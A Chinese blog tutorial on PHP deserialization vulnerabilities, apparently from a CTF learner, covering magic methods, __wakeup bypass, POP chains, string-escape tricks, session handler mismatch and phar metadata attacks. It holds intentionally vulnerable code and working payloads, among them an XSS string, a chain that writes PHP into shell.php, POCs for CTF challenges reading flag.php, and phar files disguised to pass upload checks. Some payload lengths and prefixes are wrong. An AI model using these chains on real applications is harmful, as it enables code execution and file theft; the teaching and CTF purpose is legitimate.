無限可能

个人邮箱:985885413@qq.com

0%

PHP反序列化漏洞总结

前言

​ 本文主要总结php反序列化漏洞。为了总结全面一点,文中部分内容直接或间接引用于其他大牛的文章中,我都会标明出处,如有侵权,请发邮箱联系我删除。多有不合理之处,望大佬指点。


反序列化漏洞利用原理

在反序列化时,由于代码中出现了危险函数,导致我们可以通过调用方法来利用危险函数进行恶意攻击,造成代码执行,getshell等一系列不可控的后果。

反序列化

PHP序列化和反序列化主要是通过serializeunserialize 两个函数来分别实现,序列化就是将对象转换为可保存或传输的字符串的格式,反序列化就是把字符串格式恢复回原本的对象。在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

以下是一个php序列化的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class DemoClass //定义一个DemoClass类
{
public $name = 'DemoClass'; //定义一个name变量
public $sex = "man"; //定义一个sex变量
public $age = "7"; //定义一个age变量
}

$example = new DemoClass(); //创建一个对象
$example->name ="John";
$example->sex = "Woman";
$example->age = "18" //修改其中属性的值

echo serialize($example) //返回序列化的结果
?>

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
//序列化第一位的含义:
String
s:size:value;
Integer
i:value;
Boolean
b:value; (does not store "true" or "false", does store '1' or '0')
Null
N;
Array
a:size:{key definition;value definition;(repeated per element)}
Object
O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

访问控制

在面对对象编程的思想中,为了保证安全性,我们是不想让他人可以任意修改我们的类中的属性和方法的。这时就用到了访问控制。

访问控制的定义:

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

  • public(公有):公有的类成员可以在任何地方被访问。
  • protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
  • private(私有):私有的类成员则只能被其定义所在的类访问。

这样,我们就可以限制其他用户,使其在类外无法修改类内的属性或方法。

  • protected

    示例:

    1
    2
    //类sofun中的proteced file属性序列化结果
    O:5:"sofun":1:{s:7:"\0*\0file";s:8:"flag.php";}

    特别要注意的是,\0只是用来代替ASCII码值为0的字符,该字符是不可见的,想传入它比较麻烦,所以我们一般使用它在url编码中的结果,即%00*%00,如下:

    1
    2
    {s:7:"%00*%00file";s:8:"flag.php";}
    //注意%00和\00仍然要算长度

    private同理。

    如果必须要用\0的话,可以用python来传参。

  • private

    示例:

    1
    2
    //类sofun中的private file属性
    O:5:"sofun":1:{s:15:"\0sofun\0file";s:8:"flag.php";}

魔术方法

如果使用访问控制把类中的属性和方法都一个个限制了,那我们建这个类如何来让别人使用呢?

在php中,有一种叫做”魔术方法“的东西,这些方法在特定的情况下会自动调用,不需要手动从外面调用。我们就可以利用魔术方法和访问控制来保证类的安全。

而在反序列化漏洞中,这些魔术方法也是我们利用的主要突破口。

下面是比较典型的PHP反序列化漏洞中可能会用到的魔法函数:

1
2
3
4
5
6
7
8
9
10
11
__destruct(类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。)
__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__sleep(在对象被序列化的过程中自动调用。sleep要加数组)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)
__set(在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!在对象访问一个私有的成员的时候就会自动的调用该魔术方法)
__call(当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息)
__isset(方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)
__unset(方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)

反序列化漏洞

这里有一个最简单的实例:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

构造:

1
test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

这样就利用__destruct()造成了XSS。当然结合实际环境可以造成更大的危害。

利用点

  • __wake up的绕过

    当需要跳过对__wakeup的执行时,可以使序列化字符串表示对象属性个数的值大于真实个数的属性,从而跳过。

    例如下面这道题:

    由代码可以看出,flag在flag1.php里,下面的if else里如果没有参数tryhackme就会打印本页源码,有的话则打印指定文件内容, 所以我们要利用_wakeup()绕过把file改成flag1.php。百度得知绕过的方法:

    _wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

    ​ 所以我们这么写:

    O:5:”SoFun”:2:{}

    只有一个对象,但是依然写2,就可以绕过了。

  • __wakeup() 或__destruct()的利用

    unserialize()中会直接调用wakeup()destruct(),中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码直接在wakeup()destruct()中,从而当我们控制序列化字符串时就可以去直接触发它们。

    假设index源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class a{
var $test = '123';
function __wakeup(){
$fp=fopen("shell.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$class=$_GET['test'];
echo $class;
echo "<br>";
$class_unser=unserialize($class);
require "shell.php"; //包含shell.php文件
?>

​ 基本的思路是,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo();?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class a{
var $test = '123';
function __wakeup(){
$fp=fopen("shell.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$class2=new a();
$class2->test="<?php phpinfo();?>";
$class2_ser=serialize($class2);
echo $class2_ser;
?>

结果如下:

O:1:”a”:1:{s:4:”test”;s:18:”<?php phpinfo();?>”;}

当我们传入的时候便触发了_wakeup,将一句话木马传入了shell.php中。

  • __construct()

    有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此我们可以一步步倒推,从尾至头找到漏洞点。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    class CyzCc{
    function __construct($test){
    $fp = fopen("shell.php","w") ;
    fwrite($fp,$test);
    fclose($fp);
    }
    }
    class Wc{
    var $test = '123';
    function __wakeup(){
    $obj = new CyzCc($this->test);
    }
    }
    $class5 = $_GET['test'];
    print_r($class5);
    echo "</br>";
    $class5_unser = unserialize($class5);
    require "shell.php";
    ?>

    我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 _wakeup()函数,从而在new CyzCc会自动调用对象CyzCc中的construct()方法,从而将phpinfo()写入到shell.php中。

    O:2:”Wc”:1:{s:4:”test”;s:18:”;}

  • 同名方法利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//demo1.php
<?php
class A {
var $target;
function __construct() {
$this->target = new B;
}
function __destruct() {
$this->target->action();
}
}
class B {
function action() {
echo "action B";
}
}
class C {
var $test;
function action() {
echo "action A";
eval($this->test);
}
}

unserialize($_GET['test']);
?>

这个例子中,class B和class C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class C的action方法,实现任意代码执行。

构造代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class A {
var $target;
function __construct() {
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct() {
$this->target->action();
}
}
class C {
var $test;
function action() {
echo "action C";
eval($this->test);
}
}

echo serialize(new A);
?>

运行结果:

1
O:1:"A":1:{s:6:"target";0:1:"C":1{s:4:"test";s:10:"phpinfo();";}}

exp:

1
localhost/demo1.php?test=O:1:"A":1:{s:6:"target";0:1:"C":1{s:4:"test";s:10:"phpinfo();";}}

pop链

pop链,即把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数,通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

通俗点就是:当敏感函数不在魔术方法中,而是在一个类的普通方法中时,通过以可触发的魔术方法为起点,寻找同名函数或触发调用其他魔术方法,一步步传递,最终传递参数执行敏感函数。

举个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);

分析这个上述代码:

先找魔术方法__destruct()lemon这个类本来是调用normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

值得注意的是,protected $ClassObj = new evil();是不行的,还是需要通过__construct来实例化。

这类反序列化漏洞的利用关键就是找到从可调用的魔术方法到敏感函数的链条,其思路与python继承链进行模板注入很相似。

解题思路

通过例题来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)):
return $this->obj->Delete();
}
}
class Test2{
public $cache_file;
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>

一般我们先大概看一遍代码,找到可以造成漏洞的敏感函数。在这里很明显就是Test2中的Delete方法。我们想要调用Delete,就要靠Test2中的__tostring了。我们再利用__construct来给Test2实例化一个对象。至此我们就找到了完整的pop链了,大概这样:

test2.delete—>test1.__tostring()—>test1.__construct()new test2

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test1{
function __construct(){
$this->obj = new Test2;
}
}
class Test2{
public $cache_file = 'xxxxxxxxxxxxx';
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
}

$user_data = new Test1();
echo serialize($user_data);
?>

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

不是很长,一个一个来分析吧。

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

危险函数include在这里出现,可以通过value访问flag.php。这里有__invoke可以调用,要想办法把对象调用为函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

这里过滤了一堆,上面有__tostring,我们可以把$source赋一个类的值,这样就可以调用__tostring了。

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

这里有__construct__get__get我们可以访问一个不存在的成员变量来调用。

大致的思路是:__wakeup自动调用,可以令source=new Show(),就可以调用__tostring了。__tostring又指向str里的source,可以让str=new Test(),这样Test里是没有source属性的,就可以调用__get。再令p=new Modifier,用函数的方法访问类来调用__invoke,最后利用var来获取flag.php中的内容。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//flag is in flag.php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}

class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}


$show = new Show();
$show->source = $show;
$show->str->p = new Modifier();
echo urlencode(serialize($show));
?>

[网鼎杯 2020 青龙组]AreUSerialz

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

找到的敏感函数是file_get_contents,在read方法里,可以利用来读取flag.php,然后寻找调用read的方法,process中有,条件是要让op为2,process可以被析构函数执行,但前面会把op赋值为1。这里的方法是利用弱比对,我们把op赋值为数字2,这样op==2返回true而op===2会返回false。以及后面is_valid函数会对传入的字符串进行ascii码范围的检查,32-125刚好是所有可见字符的范围,而上面我们说过,protect属性序列化会有\00,这是不可见字符,在这里会被return false,这里我们利用PHP7.1以上版本对属性类型不敏感的特性,用public来绕过。

1
2
3
4
5
6
7
8
9
10
<?php

class FileHandler{
public $op = 2;
public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
public $content;
}
$a = new FileHandler;
echo serialize($a);
?>

得到base64编码的flag。


字符逃逸

预备知识

  1. php在反序列化时,对类中不存在的属性也进行反序列化
  2. php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且根据长度判断内容
  3. 长度不对应时会报错
  4. 不符合序列化规则的代码部分不会被反序列化成功

e.g.

1
a:2:{i:0;s:7:"purplet";i:1;s:5:"aaaaa";}needless;    \\needless就不会被反序列化到

原理

本质上就是自己通过构造payload满足了序列化规则,利用前面字符由于str_replace()而字符增多或减少,提前闭合,吞掉了后面的字符。

字符增加的逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
$filter = '/c/';
return preg_replace($filter,'bbb',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

假如我们想要把age修改为19,那么我们需要构造的语句是“;i:1;s:2:“19”;},语句的长度为16个字符,当filter()函数执行的时候,会将一个a替换为三个b,这样就造成了字符增多的情况。如果我们构造8个c,那么会产生24个b,减去构造的8个c,就可以让我们逃逸16个字符,也就是我们构造的语句。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
$filter = '/c/';
return preg_replace($filter,'bbb',$string);
}
$username = 'cccccccc";i:1;s:2:"19";}';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

结果:

1
2
3
4
5
6
7
8
string(55) "a:2:{i:0;s:24:"cccccccc";i:1;s:2:"19";}";i:1;s:2:"10";}"
string(71) "a:2:{i:0;s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";i:1;s:2:"19";}";i:1;s:2:"10";}"
array(2) {
[0]=>
string(24) "bbbbbbbbbbbbbbbbbbbbbbbb"
[1]=>
string(2) "19"
}

字符减少的逃逸

原理和字符增加的相同,假设有三个参数中有两个参数可控,通过一个参数的长度变短和另一个参数的调节来修改第三个参数的值 。

Session反序列化漏洞

PHP中的Session是在经序列化后存储,读取时再进行反序列化的。

相关配置:

配置 作用
session.save_handler=”” 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数。(数据库等方式)
session.save_path=”” 设置session的存储路径。
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话。(默认为0不启动)
session.serialize_handler string 定义用来序列化/反序列化的处理器名字。(默认使用php)

PHP中有三种序列化处理器,如下表所示:

然后session序列化后需要储存在服务器上,默认的方式是储存在文件中,储存路径在session.save_path中,如果没有规定储存路径,那么默认会在储存在/tmp中,文件的名称是’sess_’+session名,文件中储存的是序列化后的session。

示例代码:

该内容存储后即为序列化的session:test|s:4:"test";

不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。

下面演示漏洞利用:

该页面有类demo3,我们开启session,并用php处理器来处理session。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//demo3.php
ini_set("session.serialize_handle","php");

session_start();

class demo3 {
var $test = 'test';

function __wakeup() {
echo 'wakeup!<br/>';
}
function __destruct() {
echo $this->test;
}
}
?>

通过session.php设置session,通过generate.php构造实例。

由于session.php与demo3.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//session.php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['test'] = $_GET['test'];
echo session_id();
?>

<?php
//generate.php
class demo3 {
var $test = "w2t3rp2dd13r";
}

echo serialize(new demo3);
?>

访问得到实例的序列化:

1
O:5:"demo3":1:{s:4:"test";s:3:"w2t3rp2dd13r";}

要在serialize()的结果前加|,当使用php处理器时,就会把|后的内容给反序列化,从而调用demo3.php中的__wakeup()方法和__destruct()方法。

payload:

1
|O:5:"demo3":1:{s:4:"test";s:3:"w2t3rp2dd13r";}

访问demo3.php成功创建了一个类demo3的实例。


phar实现php反序列化

phar(PHp ARchive)的解释是:like a Java JAR,but for PHP. 所以它本身其实是一个打包文件,是伪协议中的一种,和反序列化好像没有什么联系。

然而在2018年8月,安全研究员 Sam ThomasBlackHat2018大会 上分享了议题:It’s a PHP unserialization vulnerability Jim, but not as we know it. 其利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展了php反序列化的攻击面。

因此,我们是可以利用phar来实现php的反序列化的。用户自定义的meta-data会以序列化形式存储在phar文件中的manifest部分;当使用phar://协议来解析phar文件时,便会对phar文件中的manifest部分进行反序列化。

攻击原理

phar结构

phar由四个部分组成。

1
2
3
4
5
6
7
8
9
10
11
1.stub
phar 扩展识别的标志 格式为 xxx<?php xxx; __HALT_COMPILER();?> 只有结尾是__HALT_COMPILER();?>才会被php识别为是一个phar。

2.manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3.contents
压缩文件的内容

4.signature
文件的签名内容

phar文件生成

我们来自己构建一个phar文件,php内置了一个Phar类。
注意:需要将php.ini中的phar.readonly设置成off。

1
2
3
4
5
6
7
8
9
10
11
12
13
#eval.class.php
<?php
class Evil {
protected $val;
function __construct($val)
{
$this->val = $val;
}
function __wakeup() {
assert($this->val);
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# phar_gen.php
<?php

require_once('Evil.class.php');

$exception = new Evil('phpinfo()');

$phar = new Phar("vul.phar"); //定义phar文件的文件名

$phar->startBuffering(); // 启动缓冲Phar写操作

$phar->addFromString("test.txt", "test"); //以字符串的形式添加一个文件到 phar 档案

$phar->setStub("<?php__HALT_COMPILER(); ?>"); //设置存根,即设置a stub的内容

$phar->setMetadata($exception); //设置phar归档元数据

$phar->stopBuffering(); //停止缓冲对Phar归档文件的写请求,并将更改保存到磁盘

?>

然后我们用二进制编辑器打开生成文件,如下图:

可以看到其中的一段序列化文本,就是meta-data序列化的结果。

phar://反序列化

那么,如何利用phar://进行反序列化呢?

使用phar://伪协议读取文件的时候,文件会被解析成phar对象,这个时候,刚才那部分的序列化的信息就会被反序列化。

1
2
3
4
5
6
7
8
9
#test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
echo 'success!';
} else {
echo 'error!';
}
?>

访问test.php, http://127.0.0.1/test.php?url=phar://vul.phar,得下图:

漏洞的简单利用

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,即__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。采用这种方法可以绕过很大一部分上传检测。

下面这道题目就利用了这个漏洞:

我们写一个php来建一个phar。

1
2
3
4
5
6
7
8
9
10
11
<?php
class funny{
}
$exception = new funny();
$phar = new Phar("flag.phar");
$phar->startBuffering();
$phar->setStub("<?php__HALT_COMPILER(); ?>");//设置stub
$phar->setMetadata($exception);//将自定义的meta-data存入mainfest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
?>

php文件系统大部分函数再通过phar://解析时,会对meta-data反序列化,从而达到我们的目的。

访问该php得到了flag.php。

进linux对phar进行cat发现是乱码,原来是因为phar是一个data文件。其原因是data会被base64解密一次,只要再data加密就可以cat了。

我们再对其进行urlencode,防止加号被吃,然后就可以上传了。

我们得到了txt文件,问了大佬才知道只要是phar://协议解析,后缀是什么都无所谓,我之前甚至都没有想过这个问题。。。

然后我们就拿到flag啦。

我们得到了txt文件,因为这里的后缀.txt是不会影响反序列化操作的,我们就成功拿到flag啦。

后记

phar的知识现在已经有很多了,也很值得去深挖,自己还只是会了一点表面,需要更加深入的研究。